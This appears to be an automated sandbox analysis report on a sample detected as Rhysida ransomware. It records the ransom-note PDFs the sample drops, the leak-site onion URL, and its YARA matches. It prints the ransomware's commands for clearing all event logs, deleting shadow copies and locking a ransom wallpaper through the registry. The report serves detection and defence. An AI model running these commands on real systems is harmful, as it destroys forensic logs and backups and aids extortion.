Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\CriticalBreachDetected.pdf	Jump to behavior

Source: 5PPbtKZ2hR.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: winload_prod.pdb.rhysida source: 5PPbtKZ2hR.exe, 00000000.00000002.4517075815.0000000003F57000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517497852.0000000003FFB000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519568480.0000000004AEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516141971.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520569334.0000000004C13000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513582550.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517760677.0000000004075000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515806190.0000000003D53000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521784833.0000000004D4C000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519902851.0000000004B58000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514726259.0000000003BCE000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521309323.0000000004CDC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518809313.000000000420D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518318384.000000000413B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515242613.0000000003C93000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514018995.0000000003A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb{ source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbbC source: 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbt source: 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4511920811.000000000373F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512663493.0000000003832000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512006029.000000000376B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb\| source: 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysida} source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysida0 source: 5PPbtKZ2hR.exe, 00000000.00000002.4516141971.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidavq source: 5PPbtKZ2hR.exe, 00000000.00000002.4518809313.000000000420D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbF) source: 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbB source: 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbD source: 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb"6 source: 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4513064003.00000000038D3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4511920811.000000000373F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512663493.0000000003832000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512006029.000000000376B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbs}R source: 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysida@ source: 5PPbtKZ2hR.exe, 00000000.00000002.4517075815.0000000003F57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaB source: 5PPbtKZ2hR.exe, 00000000.00000002.4515242613.0000000003C93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb# source: 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaF source: 5PPbtKZ2hR.exe, 00000000.00000002.4517760677.0000000004075000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbu` source: 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb( source: 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbw` source: 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbc source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbe source: 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaPb& source: 5PPbtKZ2hR.exe, 00000000.00000002.4517497852.0000000003FFB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysida source: 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb( source: 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysidaHL source: 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbj source: 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaV source: 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 4x nop then jmp 004305A0h	0_2_0041E013
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 4x nop then lea r8, qword ptr [0000000000474F80h]	0_2_0042BAE0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 4x nop then lea r8, qword ptr [0000000000474540h]	0_2_00428B30
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 4x nop then lea r8, qword ptr [00000000004755A0h]	0_2_0042CCA0

Networking

Found Tor onion address

Source: 5PPbtKZ2hR.exe, 00000000.00000002.4506141426.000000000044D000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: 5PPbtKZ2hR.exe, 00000000.00000000.2033410248.000000000044C000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: 5PPbtKZ2hR.exe	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf24.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf289.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf84.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf270.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf216.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf154.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf77.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf167.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf66.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf130.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf120.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf310.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf231.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf134.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf207.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf176.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf339.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf229.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)

Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/275944
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/497301
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/514696
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/717501
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/775961
Source: resources.pak.rhysida.0.dr	String found in binary or memory: http://crbug.com/839189
Source: index.html.rhysida.0.dr	String found in binary or memory: http://jquery.com/
Source: index.html.rhysida.0.dr	String found in binary or memory: http://jquery.org/license
Source: 5PPbtKZ2hR.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr, CriticalBreachDetected.pdf229.0.dr	String found in binary or memory: http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: index.html.rhysida.0.dr	String found in binary or memory: http://sizzlejs.com/
Source: Acrobat.exe, 0000000B.00000000.3937319276.0000021B7FBA7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.quicktime.com.Acrobat
Source: Acrobat.exe, 0000000B.00000002.4261468744.0000021B7F3A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api2.branch.io/v1/url
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://codereview.chromium.org/25305002).
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://crbug.com/1245093):
Source: resources.pak.rhysida.0.dr	String found in binary or memory: https://crbug.com/1446731
Source: Acrobat.exe, 0000000B.00000002.4264368673.0000021B7FD96000.00000004.00000001.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000000.3938072981.0000021B7FD96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ims-na1.adobelogin.com
Source: Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?view=cm&fs=1&tf=1&su=
Source: Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?view=cm&fs=1&tf=1&su=tMessage
Source: Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/mail/deeplink/compose?mailtouri=
Source: Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C60D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.whatsapp.com/send?text=
Source: 5PPbtKZ2hR.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr, CriticalBreachDetected.pdf229.0.dr	String found in binary or memory: https://www.torproject.org/download/)

Source: 5PPbtKZ2hR.exe, 00000000.00000002.4511148504.000000000360F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WinAPI_RegisterRawInputDevices.au3

memstr_5941bf71-e

Spam, unwanted Advertisements and Ransom Demands

Yara detected Rhysida Ransomware

Source: Yara match	File source: 5PPbtKZ2hR.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: 5PPbtKZ2hR.exe PID: 6572, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: 5PPbtKZ2hR.exe PID: 6572, type: MEMORYSTR

Contains functionality to clear event logs

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Code function: cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

0_2_00419018

Deletes shadow drive data (may be related to ransomware)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: 5PPbtKZ2hR.exe	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4506542672.000000000046A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4506542672.000000000046A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: C:/Windows/Fonts/Arial.ttfC:/Users/Public/bg.jpgcmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /fcmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /fcmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fcmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v WallpaperStyle /t REG_SZ /d 2 /fcmd.exe /c reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /frundll32.exe user32.dll,UpdatePerUserSystemParameters/$Recycle.Bin/Boot/Documents and Settings/PerfLogs/ProgramData/Recovery/System Volume Information/Windows/$RECYCLE.BIN/ApzData.bat.bin.cab.cmd.com.cur.diagcab.diagcfg.diagpkg.drv.dll.exe.hlp.hta.ico.msi.ocx.ps1.psm1.scr.sys.iniThumbs.db.url...rrb+rbaeschc_hash%c:/cmd.exe /c vssadmin.exe Delete Shadows /All /Quietcmd.exe /c for /F 